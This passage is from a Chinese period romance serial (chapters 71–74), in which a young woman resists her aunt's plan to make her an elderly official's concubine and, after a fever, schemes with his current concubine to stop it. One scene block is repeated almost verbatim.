“你先下去。”
谢珍还有些不情愿:“什么话女儿不能听?”
“让你下去你就下去,哪来那么多话。”戴万如呵斥道。
谢珍撇了撇嘴,走时把戴缨狠看了一眼。
待人走后,戴万如慢悠悠地说道:“要我说什么?”
“今日姑母同员外郎夫人到绸缎铺,只怕不是为着置衣罢?”戴缨说着,“姑母素来避着戴家营生,今日却主动上门,还引着您一心巴结的上司家眷,这……可不像姑母的行事。”
在戴缨说话期间,戴万如嘴角始终维持着一个不高不低的弧度,看似在笑,眼神却冰凉。
然而,她接下来却蹦出一句毫不相干的话。
“可惜了,若我有你这么个伶俐精怪的女儿,也不必劳神劳心。”然后洋洋笑了一声:“你也好大的年纪了,再这么拖下去,谁家还肯要你。”
“姑母这话是什么意思,不妨说得再清楚一点。”
戴万如假模假样地低叹一声:“你看,才说你机灵,又揣着明白装糊涂。”
“你放眼看看,哪家女子同你一样不嫁人,还成日在外抛头露面的,不像样子。”
戴缨轻笑道:“姑母未免管得太宽,阿缨母亲虽不在世了,可父亲还活着,嫁不嫁人,几时嫁人,也是双亲做主。”
若放平时,这番话必叫戴万如恼怒喝骂,因为厌恶杨三娘,从而看不惯戴缨,而戴缨又寄住于她的府上,恶意和打压就更加肆无忌惮。
然而,戴万如面上仍持着笑意:“你父亲将你托给我,你的事情自然由我做主。”
说罢,掏出一封书信,“拿去看。”
戴缨狐疑地接过书信,展开看去,在此期间,戴万如的声音传来:“可还有话说?”
信上是戴万昌的亲笔,大致意思是,让戴万如替戴缨相看人家,虽未直言,可字里行间委婉表示,若是朱门绣户,虽侧室亦无不可。
戴缨将信里的内容逐字逐句又看了一遍,一颗心跌进了谷底。
她并不知道,戴万如等的就是这一刻,在她搬离陆家,回到谢府就开始谋划了。
在戴缨还想要向戴万昌证明自己的价值时,戴万如给平谷去了一封书信。
把戴缨从陆府搬离一事道了出来,戴万如不仅了解她的夫君、她的子女,更了解她兄长的秉性。
在平谷时,戴万昌窥得陆铭章对自家长女态度的不同,这一点发现让他欣喜若狂,于是他对戴缨抱了很大的期望。
这也是为何,他后来改口让戴缨在京都开店,其中带了一点讨好,想借此缓和父女之间的关系。
并非他看重戴缨的能力,全是看在陆铭章对自家女儿的这一点点特殊上。
然而,戴缨从陆府离开,这意味着什么?意味他的期望化为了泡影,是以,戴万昌才有了这样一封回信。
陆铭章对戴缨的态度,决定了戴万昌对她的态度,甚至决定了整个戴家人对她的态度。
及至此时,戴缨煞白着脸,恍然发现一个钻心的事实。
她面对的不是谢家的打压和针对,亦不是戴万昌对她自由的剥夺,而是当下对待女子的约束,一张无形却坚韧的天罗地网。
就像她从陆府搬离,手里明明有那样多的财资,却不能置一间属于自己的家宅,仍要由谢家人接回。
戴万如的声音适时响起:“那王夫人相中了你,对你很满意,择了吉日,你就过去罢,她家老爷是个温和之人,她自己也不是那等善妒之人,于你而言,是个好归处。”
情况比她想得更坏,她先时隐隐觉出不对,以为给王夫人家的公子为侍妾,原来不是,而是给王家老爷做小。
此事源于一日,王夫人同戴万如倾吐后宅烦忧。
王老爷新得了一年轻娇娘,是街头粮米铺子掌柜的小女儿,从那之后,王老爷成日宿在那小妾屋里。
这还罢了,偏那小妾是个轻狂的,仗着王老爷的恩宠,在王夫人面前作张作致。
王夫人向自家老爷埋怨,谁知员外郎只说,她年纪小,你是夫人,多担待。
把王夫人气得两眼睁瞪,又说不得一句,只能强忍下,那小妾见王夫人不能将她怎样,之后越发没了规矩。
戴万如听此一说,便适时地将戴缨推了出来。
“那丫头是个精怪的,要模样有模样,要身段有身段,最主要是脑子好使,有她给你做帮手,还怕收拾不了一个粮油铺子的女儿?”
曾有一日戴万如领戴缨赴王家家宴,这王夫人是见过戴缨的,当下两人商议,一拍即合,就这么随意地决定了戴缨的后半生。
这位王夫人看起来比戴万如还年长,且是那位员外郎的续弦,可想而知,那员外郎定是一把年纪。
戴缨不知道自己是怎么回的院子。
孔嬷嬷见自家小娘子脸色不对,上前关心道:“我的姐儿,怎么了这是?”
摸了摸她的手,才发现两条胳膊冰凉。
戴缨呆愣愣地看着孔嬷嬷,湿红了眼,扑到她的怀里,终于忍不住,哭泣出声。
“嬷嬷,我好累,真的太累了……”
孔嬷嬷心疼地轻拍戴缨的后背:“不哭,不哭,有嬷嬷在。”
戴缨伏在孔嬷嬷怀里痛哭了一场,把一双眼哭得桃似的,将戴万如的打算断断续续倾吐而出。
孔嬷嬷一张脸气得发抖,为了安抚戴缨,生生忍着没有破口大骂,同归雁将戴缨扶进里间的床榻,打下床帐,让她歇着缓缓。
掌灯时分,厨房预备上饭菜时,院子里来了一人。
“嬷嬷,阿缨可在屋里?”谢容将目光落到无光的门窗上。
孔嬷嬷向谢容施了一礼,脸上表情并不好。
“嬷嬷这是怎么了?”
“哥儿既然问,老婆子就讨个嫌,把一直以来窝藏的话说了。”孔嬷嬷抬起头,气势比谢容这个爷们还足:“哥儿从哪里来?”
谢容对孔嬷嬷还算尊重,并不计较
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她的无礼。
“从上房而来。”
“就没听说什么?”孔嬷嬷又问。
谢容摇了摇头:“嬷嬷有话还请直言。”
“小娘子是您的表妹,是夫人的亲侄女儿,再怎么说也是连着血亲的,你们一家子怎能这样待她呢,把她当成攀爬的梯子。”
谢容往孔嬷嬷身后的门看了一眼:“什么梯子?阿缨可在屋里?”
“在屋里,哭了一场,头痛不适,先睡下了。”
“到底怎么回事,谁惹着她了?”谢容催促问道。
孔嬷嬷冷嗤一声:“这府里还有谁?若说珍姐,年纪小,和小娘子同辈,说话是刻薄了些,可小娘子并不太计较,也从不放心上,大不了回说几句,唯有咱们姑奶奶,倚着长辈的身份,一句话下来,把人压得死死的,叫我家姐儿翻不得身呐!”
孔嬷嬷接下来,把戴万如带着员外郎夫人去绸缎庄,打算将戴缨许给王家老爷为侍妾一事说了。
“那员外郎是什么人,年纪做我家娘子的爷爷辈都有了!”
谢容听后面色大变:“嬷嬷此话当真?!”
“这等话,老婆子哪敢胡口乱说,哥儿,你同小娘子从前有婚约,这中间缘何散了……”孔嬷嬷湿了双眼,“你们缘何散了,你心里清楚。”
谢容腮帮紧咬。
孔嬷嬷知道他听了进去,又道:“就算没婚约了,你也是她表兄,自小玩在一处的,那会儿,老奴记得小娘子总跟在你身后,甜净净地叫‘哥——’,做兄长的该护着妹妹啊……”
天色暗下来,孔嬷嬷瞧不见谢容的面色,若能看清,便知道他的面色比这寒夜还冷,还冻。
谢家上房……
戴万如褪了腕间的金玉镯,点了脂膏匀在手心,涂抹全手。
一抬眼,镜中的妇人有一双好看的眼,并不柔和,带着一股逆劲儿,只是眼尾处有了疲态。
这时,门外下人模糊的声音透过门窗传来:“夫人,老爷宿在那边了。”
戴万如匀揉脂膏的手一顿。
她给员外郎夫人出主意,她自家后宅又好到哪儿去,那小妾长了一张同杨三娘几分相似的眉眼,叫她一看就火大。
谢山从前惦记杨三娘,她不是不知道,想不到这么多年过去,心里仍记着。
再一想到戴缨那张脸,心里厌得牙直咬。
正在此时,房门再次响起。
戴万如一肚子火气喝道:“何事?!”
屋外安静了一瞬,然后响起:“母亲,是我。”
戴万如听是儿子的声音,赶紧披上一件缎面夹棉褙子,起身去开门,将人让进屋。
“这么晚了,天又冷,你回院歇息,不必来请安。”
戴万如背过身,往屋里走,并未注意谢容面上的异样,听不到回声,这才转过头。
昏暗的光下,谢容脸色铁青,冻住一般,戴万如唬了一跳,以为他哪里不舒服。
“怎么脸色这么难看?”说着就要下人们请大夫来……
第71章 做兄长的该护着妹妹
戴万如将手里的巾帕递回,看向谢珍。
“你先下去。”
谢珍还有些不情愿:“什么话女儿不能听?”
“让你下去你就下去,哪来那么多话。”戴万如呵斥道。
谢珍撇了撇嘴,走时把戴缨狠看了一眼。
待人走后,戴万如慢悠悠地说道:“要我说什么?”
“今日姑母同员外郎夫人到绸缎铺,只怕不是为着置衣罢?”戴缨说着,“姑母素来避着戴家营生,今日却主动上门,还引着您一心巴结的上司家眷,这……可不像姑母的行事。”
在戴缨说话期间,戴万如嘴角始终维持着一个不高不低的弧度,看似在笑,眼神却冰凉。
然而,她接下来却蹦出一句毫不相干的话。
“可惜了,若我有你这么个伶俐精怪的女儿,也不必劳神劳心。”然后洋洋笑了一声:“你也好大的年纪了,再这么拖下去,谁家还肯要你。”
“姑母这话是什么意思,不妨说得再清楚一点。”
戴万如假模假样地低叹一声:“你看,才说你机灵,又揣着明白装糊涂。”
“你放眼看看,哪家女子同你一样不嫁人,还成日在外抛头露面的,不像样子。”
戴缨轻笑道:“姑母未免管得太宽,阿缨母亲虽不在世了,可父亲还活着,嫁不嫁人,几时嫁人,也是双亲做主。”
若放平时,这番话必叫戴万如恼怒喝骂,因为厌恶杨三娘,从而看不惯戴缨,而戴缨又寄住于她的府上,恶意和打压就更加肆无忌惮。
然而,戴万如面上仍持着笑意:“你父亲将你托给我,你的事情自然由我做主。”
说罢,掏出一封书信,“拿去看。”
戴缨狐疑地接过书信,展开看去,在此期间,戴万如的声音传来:“可还有话说?”
信上是戴万昌的亲笔,大致意思是,让戴万如替戴缨相看人家,虽未直言,可字里行间委婉表示,若是朱门绣户,虽侧室亦无不可。
戴缨将信里的内容逐字逐句又看了一遍,一颗心跌进了谷底。
她并不知道,戴万如等的就是这一刻,在她搬离陆家,回到谢府就开始谋划了。
在戴缨还想要向戴万昌证明自己的价值时,戴万如给平谷去了一封书信。
把戴缨从陆府搬离一事道了出来,戴万如不仅了解她的夫君、她的子女,更了解她兄长的秉性。
在平谷时,戴万昌窥得陆铭章对自家长女态度的不同,这一点发现让他欣喜若狂,于是他对戴缨抱了很大的期望。
这也是为何,他后来改口让戴缨在京都开店,其中带了一点讨好,想借此缓和父女之间的关系。
并非他看重戴缨的能力,全是看在陆铭章对自家女儿的这一点点特殊上。
然而,戴缨从陆府离开,这意味着什么?意味他的期望化为了泡影,是以,戴万昌才有了这样一封回信。
陆铭章对戴缨的态度,决定了戴万昌对她的态度,甚至决定了整个戴家人对她的态度。
及至此时,戴缨煞白着脸,恍然发现一个钻心的事实。
她面对的不是谢家的打压和针对,亦不是戴万昌对她自由的剥夺,而是当下对待女子的约束,一张无形却坚韧的天罗地网。
就像她从陆府搬离,手里明明有那样多的财资,却不能置一间属于自己的家宅,仍要由谢家人接回。
戴万如的声音适时响起:“那王夫人相中了你,对你很满意,择了吉日,你就过去罢,她家老爷是个温和之人,她自己也不是那等善妒之人,于你而言,是个好归处。”
情况比她想得更坏,她先时隐隐觉出不对,以为给王夫人家的公子为侍妾,原来不是,而是给王家老爷做小。
此事源于一日,王夫人同戴万如倾吐后宅烦忧。
王老爷新得了一年轻娇娘,是街头粮米铺子掌柜的小女儿,从那之后,王老爷成日宿在那小妾屋里。
这还罢了,偏那小妾是个轻狂的,仗着王老爷的恩宠,在王夫人面前作张作致。
王夫人向自家老爷埋怨,谁知员外郎只说,她年纪小,你是夫人,多担待。
把王夫人气得两眼睁瞪,又说不得一句,只能强忍下,那小妾见王夫人不能将她怎样,之后越发没了规矩。
戴万如听此一说,便适时地将戴缨推了出来。
“那丫头是个精怪的,要模样有模样,要身段有身段,最主要是脑子好使,有她给你做帮手,还怕收拾不了一个粮油铺子的女儿?”
曾有一日戴万如领戴缨赴王家家宴,这王夫人是见过戴缨的,当下两人商议,一拍即合,就这么随意地决定了戴缨的后半生。
这位王夫人看起来比戴万如还年长,且是那位员外郎的续弦,可想而知,那员外郎定是一把年纪。
戴缨不知道自己是怎么回的院子。
孔嬷嬷见自家小娘子脸色不对,上前关心道:“我的姐儿,怎么了这是?”
摸了摸她的手,才发现两条胳膊冰凉。
戴缨呆愣愣地看着孔嬷嬷,湿红了眼,扑到她的怀里,终于忍不住,哭泣出声。
“嬷嬷,我好累,真的太累了……”
孔嬷嬷心疼地轻拍戴缨的后背:“不哭,不哭,有嬷嬷在。”
戴缨伏在孔嬷嬷怀里痛哭了一场,把一双眼哭得桃似的,将戴万如的打算断断续续倾吐而出。
孔嬷嬷一张脸气得发抖,为了安抚戴缨,生生忍着没有破口大骂,同归雁将戴缨扶进里间的床榻,打下床帐,让她歇着缓缓。
掌灯时分,厨房预备上饭菜时,院子里来了一人。
“嬷嬷,阿缨可在屋里?”谢容将目光落到无光的门窗上。
孔嬷嬷向谢容施了一礼,脸上表情并不好。
“嬷嬷这是怎么了?”
“哥儿既然问,老婆子就讨个嫌,把一直以来窝藏的话说了。”孔嬷嬷抬起头,气势比谢容这个爷们还足:“哥儿从哪里来?”
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“从上房而来。”
“就没听说什么?”孔嬷嬷又问。
谢容摇了摇头:“嬷嬷有话还请直言。”
“小娘子是您的表妹,是夫人的亲侄女儿,再怎么说也是连着血亲的,你们一家子怎能这样待她呢,把她当成攀爬的梯子。”
谢容往孔嬷嬷身后的门看了一眼:“什么梯子?阿缨可在屋里?”
“在屋里,哭了一场,头痛不适,先睡下了。”
“到底怎么回事,谁惹着她了?”谢容催促问道。
孔嬷嬷冷嗤一声:“这府里还有谁?若说珍姐,年纪小,和小娘子同辈,说话是刻薄了些,可小娘子并不太计较,也从不放心上,大不了回说几句,唯有咱们姑奶奶,倚着长辈的身份,一句话下来,把人压得死死的,叫我家姐儿翻不得身呐!”
孔嬷嬷接下来,把戴万如带着员外郎夫人去绸缎庄,打算将戴缨许给王家老爷为侍妾一事说了。
“那员外郎是什么人,年纪做我家娘子的爷爷辈都有了!”
谢容听后面色大变:“嬷嬷此话当真?!”
“这等话,老婆子哪敢胡口乱说,哥儿,你同小娘子从前有婚约,这中间缘何散了……”孔嬷嬷湿了双眼,“你们缘何散了,你心里清楚。”
谢容腮帮紧咬。
孔嬷嬷知道他听了进去,又道:“就算没婚约了,你也是她表兄,自小玩在一处的,那会儿,老奴记得小娘子总跟在你身后,甜净净地叫‘哥——’,做兄长的该护着妹妹啊……”
天色暗下来,孔嬷嬷瞧不见谢容的面色,若能看清,便知道他的面色比这寒夜还冷,还冻。
谢家上房……
戴万如褪了腕间的金玉镯,点了脂膏匀在手心,涂抹全手。
一抬眼,镜中的妇人有一双好看的眼,并不柔和,带着一股逆劲儿,只是眼尾处有了疲态。
这时,门外下人模糊的声音透过门窗传来:“夫人,老爷宿在那边了。”
戴万如匀揉脂膏的手一顿。
她给员外郎夫人出主意,她自家后宅又好到哪儿去,那小妾长了一张同杨三娘几分相似的眉眼,叫她一看就火大。
谢山从前惦记杨三娘,她不是不知道,想不到这么多年过去,心里仍记着。
再一想到戴缨那张脸,心里厌得牙直咬。
正在此时,房门再次响起。
戴万如一肚子火气喝道:“何事?!”
屋外安静了一瞬,然后响起:“母亲,是我。”
戴万如听是儿子的声音,赶紧披上一件缎面夹棉褙子,起身去开门,将人让进屋。
“这么晚了,天又冷,你回院歇息,不必来请安。”
戴万如背过身,往屋里走,并未注意谢容面上的异样,听不到回声,这才转过头。
昏暗的光下,谢容脸色铁青,冻住一般,戴万如唬了一跳,以为他哪里不舒服。
“怎么脸色这么难看?”说着就要下人们请大夫来……
第73章 不好的预感
孔嬷嬷点头,上了台阶,倾耳往门内听去,回过声又问:“一直静到这会儿?”
“是,也没起夜,想是头先哭狠了,睡了过去。”
孔嬷嬷曲起两指,轻叩门板,然而门内没有回应,于是又敲了两下,仍是安静。
孔嬷嬷心觉不对,小娘子知事早,是个爱操心的性子,且自小缺乏安全感,所以睡觉警醒,若有声响惊扰,一定会醒。
偶尔院里下人的脚步声稍重一点,她都会醒,多年来一直如此。
归雁三两步上了台阶,把门再次拍响,声音不低:“娘子?娘子可要婢子进来侍候?”
回答她们的依然是寂静。
孔嬷嬷不再犹豫,把门推开,昨儿因着担心,院中又有归雁看守,便留了门。
屋里昏黑,只有熹微的光线从窗纱透进来,透过珠帘可观得里间一片浅色床幔。
两人前后脚步入里间,小心翼翼地将床帐揭开,就见戴缨将头偏向里侧,一头乌发散在枕间。
“娘子?”归雁从旁轻唤了一声。
戴缨“嘤咛”一声,嘴里叽哝:“再存些布……”
这一听就是在无意识地说胡话,孔嬷嬷赶紧伏过身,将她的脸扳正。
只见其双靥烧红,唇色更是红得不正常,手下皮肤的温度如同烘炉一般,连喷出的鼻息都灼手。
“我的天爷……快去叫大夫!”
归雁应下,转头往屋外跑去。
大夫来了,隔着帐幔探了脉息,说道:“脉象紧。”接着向帐内问话,“哪里不适?”
在大夫来之前,孔嬷嬷给戴缨喂了热水,被褥中塞了几个烫婆子,醒过来一些,于是鼻塞声重道:“有些怕冷,头也痛,周身骨节酸痛。”
大夫再次把脉,又问:“小娘子可有起夜的习惯?”
归雁从旁插话:“有,我家主子偶有起夜,奴若睡得当熟,娘子便会起夜自己倒茶吃。”
大夫沉了一口气,拿指点了点:“你这奴儿。”
归雁哪敢说什么,心里唯有自责。
大夫转向一旁年长的妇人,说道:“如今夜里寒气重,就是屋里烧着暖炉,也易受寒。”
“是。”孔嬷嬷应道。
“小娘子应是夜间起床,卫气一时不能固密,风寒之邪乘虚而入。”
“老儿开一副方子,此药需温服,服后片刻,再喝一碗热稀粥以助药力,然后盖上衾被躺下,让身体微微出汗。”接着又追说一句,“切记不可出大汗。”
孔嬷嬷连连应声。
大夫将方子开好后,又叮嘱几句,随归雁下去领了酬劳,方离去。
大夫前脚刚走,谢容后脚就来了。
“你家娘子呢?”
归雁正指着院中下人去厨房熬煮汤药,见了谢容,行了礼,说道:“回郎君的话,娘子染了风寒……”
孔嬷嬷听到屋外的说话声,走了出来,嗔了归雁一眼:“娘子还等着药呢,还不去厨房看着些。”
归雁福了福身,一溜烟跑开了。
孔嬷嬷走到谢容跟前,浅浅地施了一礼:“哥儿来得不是时候,娘子身上不好,不能相见。”
谢容关心道:“可有请大夫?”
“请了,抓了药,这次病得重,也不知什么时候能好。”孔嬷嬷叹了一声,看似无意地说道,“大夫说了,受了寒气在其次,主要还是心气郁结所致。”
“我这会儿过来正要说此事。”谢容说道,“还请嬷嬷转告表妹一声,就说王家那事不必忧惧。”
“哥儿的意思是……”
“王家那事就此作罢,表妹安心待在这里,一切有我,绝不让她受半点委屈。”
“当真?”
谢容点了点头:“嬷嬷好好照顾阿缨,让她安心养病,身子要紧。”
孔嬷嬷脸上露出欣然:“好,好,老奴一定把话带到,待小娘子身上好些,再到哥儿面前谢过。”
“她这会儿病着不便见我,待她病愈,我再来。”
谢容说罢,转身离去。
没过一会儿,上房那边来人,象征性地问了几句,然后离开了。
孔嬷嬷把谢容的话说给戴缨听,戴缨听后没什么太大的反应。
她如今头脑昏沉,脑子里塞满了石头,石头缝中注满了水,也想不了太多事,喝了药就只想睡。
因她病了,且这次病症不轻,院子倒是清静了,无人打扰,之后养了一段时日,病症减轻,只是嗓子还有些沙哑,但人的精神回转过来。
孔嬷嬷不放心归雁,每日清晨亲身到屋里伺候她梳洗,不再依她的意愿,穿轻薄衣衫,而是套上一层又一层夹袄,若出屋室,外面再披一件斗篷。
反正不让她受一点冷。
戴缨乖乖听任。
“叫我说,别去绸缎庄了,有秦家兄弟在,小娘子劳这个神做什么。”孔嬷嬷将一个暖炉塞到戴缨手里。
“好些时日没去,如今身上好了,总要去看一眼才放心。”绸缎庄投入了她许多心血,有感情在。
孔嬷嬷又对归雁一番叮嘱,千万照顾好小娘子。
城南和城东两家铺子照往常经营,戴缨看过后,放了心,在店中坐了一会儿,徐三娘等几名绣娘前来问好。
“咱们得知娘子病了,想去府上看望,又怕扰了娘子安宁。”徐三娘往戴缨面上看去。
白生生的脸上,不像从前那样鲜亮,虽然涂抹了唇脂,可难掩面上的病气,莹白的双手捧着小暖炉,穿得也比从前厚实,大衣、小衣堆出胖胖的身,越发显得上面那个脑袋小得不相称。
乍一看有些滑稽。
“你们的心意我领了,我身子一向好的,这次不注意,没多大的事。”戴缨微微笑道。
另一绣娘说道:“东家可不能掉以轻心,这病呐,不到痊愈的时候,还是得紧张着些。”
说罢,就讲了她们村一人。
“那妇人生得壮实,一把子使不完的气力,家里的男人反倒不如她,她又是个肯干的,突然就病倒了,后来吃了药,不上几日工夫得以好转,结果……”
那绣
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娘一拍手,“她从来在家中充大头的人,觉着家中没她不行,身子没好痊呢,又下地做活,大冬日碰冷水,好嘛,又病歪了,这一倒便起不来,这不算完,你们猜怎么着。”
戴缨也起了好奇,跟着众人问道:“怎么着?”
绣娘哧哧冷笑:“没几日,这妇人去了,她家汉子转头又娶了一个。”
其他几人“唉”了一声,见怪不怪地说道:“这也常见。”
绣娘扬起手,在肚子上比划:“大着肚儿呢!”
“啥?!”
众人惊诧问过后,瞬间明白过来,这是妇人还在时,汉子就在外乱搞了,妇人一死,她汉子正好另娶。
“呸,呸,呸。”除三娘说道,“别说这些晦气话,东家是有福的。”
那绣娘反应过来,笑说:“看我这嘴,没把门,胡扯一通,东家莫见怪。”
她们当然指望戴缨好,难得寻一个这样好的铺子,饭食好不说,工钱按时发。
最主要的是,她们这些绣娘从前在外做活,少不了被店中人欺辱,向掌柜的反应也无用,因为掌柜的也不是好鸟,和欺辱她们的人沆瀣一气。
可在华四锦不一样,什么都干干净净,明明白白,她们只负责安心做活,其他的不担心。
是以,众人都盼着戴缨早日康复,叫她在家中安心养病,别太过劳心。
戴缨感受到暖意,笑着应下,相互说了几句,各自忙去了,因是病体初愈,她坐了一会儿便觉着乏困。
“娘子,咱们回去罢,出来有一会儿了。”归雁从旁说道。
“好。”戴缨点了点头,乘着轿辇回了谢府。
归雁端了汤药来:“病还未除根,大夫说药不能断,娘子喝了,婢子再端一小碗素粥来,压一压。”
“嗯。”戴缨很自然地接过药碗,熟练地仰头喝下。
归雁转身又端来一碗清亮的稀粥。
“这粥忒没味,涩舌。”刚才的药没让戴缨皱眉,反倒无味的米粥让她皱眉。
眼下对于戴缨的大小事,归雁不敢再有一点闪失,全然遵照大夫的嘱咐。
“不涩口,不涩口,你看,婢子拿了一碟嫩脆的鲜蔬,就着吃,好吃哩!”
戴缨重新执筷,就着鲜蔬,吃了小半碗,突然想起一事,病中谢容来过,让她不必担心王家之事,他替她解决了。
不论怎么说,这事得谢他,于是转头对归雁说:“你去那边问问,我表兄在不在府中?”
归雁应诺,出了屋室,过了一会儿回来,带回话。
“婢子问过了,郎君院子的人说他出去了,一时半会儿不得回。”
戴缨点了点头,等谢容回了再道一声谢也不迟。
就这么又过了两日,戴缨再让归雁去前面问过,得到的回答仍是谢容未归,问去了哪里,下人们只说不清楚。
什么时候走的?走多久?府里无人知晓,这就很不寻常了,最起码谢容院中人该当知晓。
戴缨心里起了一层不好的预感……
第74章 要么死,要么……
她本想当着谢容的面道一声谢,虽不知他用得什么办法,以她对戴万如的了解,让戴万如一夜间转变态度,必是不容易。
是以,想当面道一声谢,然而,几日了,谢容不曾归府。
正在思忖间,院子里来了人,是戴万如跟前的嬷嬷,走上前福下身。
“表姑娘去前厅一趟。”
“做什么?”戴缨看了那婆子一眼。
“夫人请您去,至于是什么事,咱们做下人的哪能知道。”婆子说道,“表姑娘还是快去罢,莫让夫人久等。”
戴万如见了戴缨,脸上端起灿烂的笑,拉她坐下。
“我的儿,病了几日,把一张脸盘子都清减了。”
戴万如突如其来的转变叫戴缨很不适应,抽出双手,开口道:“姑母叫阿缨前来可是有事吩咐?”
“什么吩咐不吩咐的。”朱唇白齿间溢出一声轻笑,“嗐,叫你来是告诉你一事,王家那边把日子定了,就在初八。”
说罢,拈起指,掐算一番,又是一声笑:“就是十日后了。”
戴缨没说什么,缓缓低下眼,看着戴万如那张因开心而合不拢的双唇。
戴缨的不吵不闹,反叫戴万如意外。
那晚儿子到她面前,为了戴缨拿自己的官途和亲事做威胁,她不得不暂时应下。
在她的想象中,戴缨若听到仍要到王家为妾的消息,虽不至于大声哭闹,却也绝不会是这样沉静的态度,于是,虚假的笑声收起,嘴阔处的浮粉显出两道笑印。
在戴万如完全敛去笑意后,戴缨开口了:“阿缨一直以来有个疑惑,总不得解,想求问于姑母。”
戴万如点头道:“说来。”
“姑母恨我,这一点我清楚,只是不明白,姑母缘何这样恨我。”
戴万如的表情冷了下来,看着戴缨不语。
“因为我母亲?又或是您觉得我得到了太多表兄的关注?还是这恶本就没有缘由,您只是需要一个发泄口,打压我成就您的快慰?”
戴缨一句接一句问出,最后说道:“看到我过得不好,您心里舒坦。”
戴万如高傲地抬起下巴,仍是一声不言语。
“表兄现下应该不在京都罢,怕他坏事,遂找事故支开他,几日后,一顶轿子将我抬入王家,待他回来,事已成,生米做成熟饭,他就是再闹,也不怕了。”
戴缨仿佛事不关己地说着别人的事:“何论你了解自家儿子,总能用话兜住他,是么?”
戴万如将双手叠放于腿上,腰背一如既往地挺直:“姑母有一点从不否认,缨丫头,你是有些小聪明的,我知道你在拼命地挣扎,只是可惜了……”
“只要你一日未出嫁,我,作为你的长辈,便一日能为你做主,管教你更是名正言顺,这道理你扭不过。”
说到这里,戴万如轻笑一声,“姑母真心劝你一句,放弃罢,没用的,你的小聪明只能让你稍作喘息,却不能撼动这世道的铁律章程,说说看,你能么?”
她不能,戴缨在心里给了回答。
从她获得新生,她就没想过同戴万如斗,没想过同陆婉儿斗,因为她知道自己斗不过她们,一则以辈分相压,一则以阶级相凌。
自己不是无所不能的神,没有通天的本事,她活了,却仍活在这世道的阴影中。
因为重活一次,她终于能在激流中,稍微调整一下自己的姿势,让自己撞上暗礁时,不至于粉身碎骨,仅此而已。
她要怎么办?就这么妥协?
“姑母说我命不好,是,我这命中坎坷多半由你所致。”
“什么意思,威胁我?”戴万如挑起半边眉。
戴缨笑着摇了摇头:“您就不怕……我在那户人家立住脚,反过来对付你?”
戴万如似是听到什么笑话,那王庆官任员外郎,虽说是谢山上级,却也不是顶大的官,再者,如今京都城谁人不知谢家同陆家定了亲。
就算王庆受了撺掇,也有那个心也没那个胆。
戴万如假模假样地说道:“姑母不是不知你的手段和能耐,只是……”接着拿帕掩嘴讥笑出声,“一个低阶文职有多大能耐,王家老爷只怕也不能如你的愿。”
这也是为何戴万如不惧,丈量她不能闹出什么动静。
“你这丫头就别同自家人置气了,毕竟是一家人不是?日后你去了王家,还得指着娘家作倚仗。”
戴万如唇角含笑,说出来的话却带着倒刺。
戴缨点了点头:“姑母说的是,阿缨受教了。”
如此乖顺的语调让戴万如觉着哪里不对,可又说不上来,于是往她面上看了一眼,想要看出点什么,然而,那张带着病气的面上,只有平静,再无其他。
戴缨回了自己的院子。
孔嬷嬷担忧地跟进屋中,关心道:“夫人可是说了什么?”
戴缨微笑道:“嬷嬷放心,没什么。”
“我的姐儿,你莫骗我。”
“真没什么,嬷嬷,我想一个人坐会儿,让归雁把我的算盘拿来。”
孔嬷嬷应是,退了出去,不一会儿归雁拿来算盘,放到窗榻上的小几,再折过身,将戴缨扶上窗榻,默不出声地倒了一盏茶,然后安静地侍立于一侧。
屋室中,响起清脆的算珠声,一声砸着一声,噼里啪啦,像是云端的裂闪,像是铁器相撞时的铿锵。
玉手控着算盘利索一摇,哗啦啦,清盘。
上上下下的算珠,全部回归到本位,她怔怔地看着眼下的算珠。
十日,还有十日……
没关系,还有时间,她能想到破解之法,总要再为自己挣一挣。
……
一个再普通不过的早晨,雾气未散,街边大大小小的店铺先后打开。
街口处一家铺子开得晚,左右店铺都开了,他的门帘还闭着,直到一人将门板“啪啪”拍响。
老蔡头披好衣衫,从二楼下来,嘴里说着:“少候,就来。”
然后下到一楼,移了木板,门前站着一男子,赶紧将人让进店中:“客人可是要米、油?”
来人先是环眼把店周打量,开口问:“你是老蔡头?”
“是。”
“你家闺女可是蔡丫?给那王家老爷做小?”
蔡老头点头道:“是,咋啦,是不是出啥事?”
来人从腰间掏出一个沉甸甸的钱袋子,朝老蔡头一抛,声音随之响起:“这些钱你拿着,午后叫你闺女到街头的茶楼,她来了,还有重金与你。”
老蔡头拉开钱袋,往里一看,利索地把钱口紧上,收入袖中,谄笑道:“客官可否告知是何事?小老儿也好向小女递话。”
“那就是你的事了,不然这银子作何用处?”来人说道。
老蔡头连连点头:“客人放心,午时过后,一定让小女出现在茶楼,只是刚才说的……”
“放心,你把人带到,少不了你一文。”
那人说罢走出店铺。
老蔡头跟上前去看,那人的身影已被晨雾模糊。
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归雁立于谢府角门处,张目四望,突然眼神一定,往前急走几步。
“阿左哥,这里。”
陈左几步上前,说道:“已办好了,午后老蔡头就把人引去,你同东家说一声,就在街口的茶楼。”
归雁点头道:“这次多亏你打探消息,否则找不到门路。”
“这有什么,我们这些混迹市井之人,大门小户的消息再灵通不过。”陈左又问,“东家身子可好些?”
“好些了,我不同你说了,这就进去递话。”
“去罢。”
归雁回了小院,把陈左的话带到,戴缨点头表示知晓。
午后,戴缨乘轿去了茶楼。
戴万如倒不像戴万昌那样限制她的自由,因为知道她跑不脱,出城门时不仅会被盘问登记,出了城更是难,身上若无路引或凭证,一不小心就被当流民抓了,遣返原籍。
蔡丫看着对面的女子,目光落到她裸露出来的皮肤上,再假作不经意地看向自己露出来的一截腕子,有些不愿承认对面的女人比自己还白。
“娘子可是王老爷的爱妾?”戴缨开口道。
“是。”蔡丫说道,“妾身并不认识小娘子,不知小娘子找妾前来所为何事。”
戴缨微笑道:“蔡娘子别急,听我慢慢道来……”
一个时辰后,房门打开,戴缨走了出来,缓缓下了楼。
就在她走后,屋里传来茶壶、杯盏碎裂之声,随后蔡丫走了出来,嘴角带着冷笑。
好你个王氏,原是打得这个主意,自己斗不过,就找个帮手来,好,好,那就看看咱俩谁的道行更高!
……
“娘子,这样真的可行?”归雁倒了一杯热茶,双手呈上。
戴缨接过,缓啜一口道:“这个蔡娘子若没两把刷子,也不能让王夫人头疼了,留给我的时间不多了,死马当活马医罢。”
掌灯时分,王府……
王庆先去了上房一趟,王夫人给自家老爷褪去外衫,备下一桌好酒菜,请他入座,叫房里下人退下,亲自替他斟酒。
灯火下,那王夫人看上去风姿尚续,橙黄的灯光将她眉眼间的褶皱淡化,而她身边的王老爷却是鬓发参白,烛光也掩不住他老境。
